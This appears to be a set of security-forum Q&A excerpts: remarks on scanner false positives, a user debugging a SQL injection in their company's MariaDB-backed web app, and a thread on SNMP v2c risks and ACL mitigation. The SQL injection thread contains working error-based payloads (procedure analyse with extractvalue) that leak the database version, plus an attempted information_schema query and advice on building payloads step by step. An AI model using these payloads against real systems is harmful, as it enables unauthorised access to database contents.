For example, if the scanner is checking for a particular string in a header (or whatever) it will flag a potential issue for any and all matching headers, which may include headers that do not have a vulnerability/weakness associated with them.

Scanners are generally pretty good at identifying 'obvious' weaknesses, but in order to be effective (i.e. not miss too much) they have to strike a balance between missing things and reporting false positives. I am not familiar with the IBM scanner...it may be possible to configure it to reduce the number of false positives (which may or may not increase the risk of missing vulnerabilities).

Or: The proxy being used to confirm the results of the scanner either:

Does not have the functionality available (unlikely in the case of BURP)
Has not been configured correctly to capture the data (entirely possible for new users)
The data from the proxy is not being interpreted correctly (depends on the complexity of the vulnerability and the knowledge of the user)


SQL-injection, unable to get it to work! I've recently found a SQL-injection vulnerability in one of our web applications. I've been able to exploit this SQLi, but only able to extract some very basic information. I'm not an expert pentester or SQL-master but this intrigues me and I would like to know what I'm doing wrong.

Baseline: this is a valid input {"limit":"1"} and is what the system expects to receive.

When I inject the limit-parameter with the following:

{"limit":"1 procedure analyse(extractvalue(rand(),concat(0x3a,@@version)),1)-- 1"}

I get:

"XPATH syntax error: ':10.0.30-MariaDB-0+deb8u2'"

Here is the complete query for this injection:

SELECT page_id FROM light_pages WHERE page_language_id = '3' ORDER BY page_date_modified DESC LIMIT 1 procedure analyse(extractvalue(rand(),concat(0x3a,@@version)),1)-- 1

So... the above injection works and I can read the database version, hostname etc etc. However, as soon as I try to extract information from tables in the database, I run into SQL-errors all the time and I cannot figure out why.

Example:

{"limit":"1 procedure analyse(extractvalue(rand(),concat(0x3a,(SELECT concat(0x3a,schema_name) FROM information_schema.schemata LIMIT 0,1))),1)-- 1"}

I get:

"You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'procedure analyse(extractvalue(rand(),concat(0x3a,(SELECT concat(0x3a,schema_nam' at line 3"

Complete query:

SELECT page_id FROM light_pages WHERE page_language_id = '3' ORDER BY page_date_modified DESC LIMIT 1 procedure analyse(extractvalue(rand(),concat(0x3a,procedure analyse(extractvalue(rand(),concat(0x3a,(SELECT concat(0x3a,schema_name) FROM information_schema.schemata LIMIT 0,1))),1)-— 1

I'd really appreciate any help or suggestions!

When exploiting SQLi, I personally start with as simple query as possible and go one step further with every request.
So I would start with

SELECT 1
SELECT 4-2
SELECT 'a'
SELECT concat('a','b')

And so on. This way you will know exactly which part of your payload needs to be fixed: encoding, quotes, db specific syntax and lenght limitation are a few from the top of my head.


Is running SNMP v2c really insecure and can lead to compromisses? I currently use SNMP v2c to monitor switches, servers, ect... to graph for performance. Question in terms of SNMP.

Everyone says that running SNMP insecure is a security risk. How is a graphing protocol designed to transmit messages insecure? Is the because the information could be tampered with or could provide information about the network?

SNMP enables an attacker to paint the same graph you are painting. "These are the mission critical systems they're worried about. They must be if they're being monitored." Whenever I see SNMP during pentests, I get happy since it minimizes the amount of time I spend looking for this. SNMP has enabled me to find networks I would have otherwise not discovered, when systems (Windows, Linux) run SNMP, they allow me to see the software on the systems, the usernames, groups, patch levels. So yes SNMP can be a security risk.

If you must enable it, remember the fact that the same things you want to see, are invaluable to an attacker. With that in mind, it pays to define ACLs on your switch to allow specific machines to access SNMP. E.g.: "enable from this ONE machine to SNMP, and block all other connections." Then you have to worry about sniffing the network. This does not get into SNMP when configured to write. An attacker can modify a switch/router/system. Long story short, while it is a risk, it can be mitigated with proper ACLs, network segmentation/isolation.